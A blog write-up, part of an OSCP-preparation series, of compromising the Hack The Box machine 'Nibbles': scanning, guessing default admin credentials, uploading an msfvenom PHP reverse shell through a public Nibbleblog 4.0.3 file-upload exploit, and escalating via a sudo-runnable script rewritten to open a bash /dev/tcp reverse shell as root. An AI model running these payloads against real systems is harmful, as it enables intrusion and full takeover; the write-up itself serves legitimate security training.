Path to OSCP: Nibbles
As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.
Next on the OSCP hit-list is Nibbles. Kick off with nmap:
u01@nostromo:~$ sudo nmap -p- -A nibbles.htb -oA HTB/nibbles/nibbles Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-02 06:48 EDT Nmap scan report for nibbles.htb (10.10.10.75) Host is up (0.028s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=9/2%OT=22%CT=1%CU=31728%PV=Y%DS=2%DC=T%G=Y%TM=64F3131C OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS( OS:O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11 OS:NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN( OS:R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 34.12 ms 10.10.14.1 2 34.20 ms nibbles.htb (10.10.10.75) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.94 seconds
Taking a look at the webpage, we have a basic hello world page:
Checking source, there’s mention of a /nibbleblog/ directory, and sure enough we have an instance of Nibbleblog, a “free, lightweight, very easy and powerful engine for creating blogs. It is written in PHP and uses XML to store its information”.
While taking a look round I kick off gobuster on both the / directory and /nibbleblog/. The first doesn’t reveal anything, the latter gives a few worthwhile leads:
u01@nostromo:~$ gobuster dir -u http://nibbles.htb/nibbleblog -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://nibbles.htb/nibbleblog [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /content (Status: 301) [Size: 323] [--> http://nibbles.htb/nibbleblog/content/] /themes (Status: 301) [Size: 322] [--> http://nibbles.htb/nibbleblog/themes/] /admin (Status: 301) [Size: 321] [--> http://nibbles.htb/nibbleblog/admin/] /plugins (Status: 301) [Size: 323] [--> http://nibbles.htb/nibbleblog/plugins/] /README (Status: 200) [Size: 4628] /languages (Status: 301) [Size: 325] [--> http://nibbles.htb/nibbleblog/languages/] Progress: 220560 / 220561 (100.00%) =============================================================== Finished ===============================================================
/admin has some open directories, though after a quick dig through I don’t find anything particularly interesting. README reveals the version of Nibbleblog that we’re dealing with, v4.0.3:
Searchsploit confirms there is a Arbitrary File Upload exploit for this version of Nibbleblog:
u01@nostromo:~$ searchsploit nibble -------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------- --------------------------------- Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb -------------------------------------------------------------------------------------------------------------------------- ---------------------------------
As I’m trying to avoid using Metasploit for OSCP preparation, I go searching for an equivalent script, and come across dix0nym/CVE-2015-6967: Nibbleblog 4.0.3 – Arbitrary File Upload (CVE-2015-6967) (github.com). This however requires authentication, which we haven’t found yet.
I do a quick search for Nibbleblog default credentials, despite not having found a management/login portal yet. My research suggests this can be found at admin.php:
I try a few common default username/password combinations, and on my 3rd attempt have success with admin:nibbles. I’m not sure if there’s a more elegant way to find the admin password, and I’m not a fan of CTF’s that require outright guessing, but we’ll put it down as highlighting weak and guessable authentication.
With credentials we can now try the previous authenticated script. It requires a payload, so I create a simple php reverse shell in msfvenon:
u01@nostromo:/repo/CVE-2015-6967$ msfvenom -p php/reverse_php LHOST=10.10.14.12 LPORT=7777 -f raw > shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 2976 bytes
I initially have a little trouble running the script due to Python 2/3 incompatabilities, but using the 2to3 converter it runs successfully. With a netcat listener open, we get a shell as user ‘nibbler’:
u01@nostromo:/repo/CVE-2015-6967$ python exploit.py --url http://nibbles.htb/nibbleblog/ --username admin --password nibbles --payload shell.php [+] Login Successful. [+] Upload likely successfull. [+] Exploit launched, check for shell. u01@nostromo:~$ nc -lvnp 7777 listening on [any] 7777 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.75] 59610 id uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) pwd /var/www/html/nibbleblog/content/private/plugins/my_image
We can retrieve the user.txt flag from /home/nibbler/user.txt.
Also in the home directory is personal.zip. I copy that into the public directory and download it for further examination. It contains a script called monitor.sh, which doesn’t contain any kind of credentials or relevant information.
Checking sudo -l, it appears nibbles is capable of running /home/nibbler/personal/stuff/monitor.sh as root with no password required:
sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
We create the relevant file structure as it doesn’t exist. While it would be simple to simply use the script to read/output /root/root.txt and be done with it, I want to get full root shell. To do this we can modify the script to create a reverse shell back to a netcat listener as root.
This seemed straightforward enough, but I wasn’t having any luck with a combination of common bash reverse shell commands. In the end it turned out I needed to specify the script to run in shell context, with bash -c [command], running the command in a new bash shell. Once that hurdle was overcome, I was able to get a root reverse shell back to a netcat listener and retrieve root.txt.
cd /home/nibbler/personal/stuff ls -la total 16 drwxr-xr-x 2 nibbler nibbler 4096 Sep 2 08:46 . drwxr-xr-x 3 nibbler nibbler 4096 Sep 2 08:40 .. -rwxr-xr-x 1 nibbler nibbler 8 Sep 2 09:10 monitor.sh -rwxr-xr-x 1 nibbler nibbler 69 Sep 2 08:40 monitor.sh.bak echo 'bash -c "bash -i >& /dev/tcp/10.10.14.12/7778 0>&1"' > monitor.sh cat monitor.sh bash -c "bash -i >& /dev/tcp/10.10.14.12/7778 0>&1" sudo ./monitor.sh u01@nostromo:~$ nc -lvnp 7778 listening on [any] 7778 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.75] 52246 bash: cannot set terminal process group (1374): Inappropriate ioctl for device bash: no job control in this shell root@Nibbles:/home/nibbler/personal/stuff# id id uid=0(root) gid=0(root) groups=0(root) root@Nibbles:/home/nibbler/personal/stuff# cat /root/root.txt cat /root/root.txt ba84dc8ff594c545b7ec1ca9b2bb1d13 root@Nibbles:/home/nibbler/personal/stuff#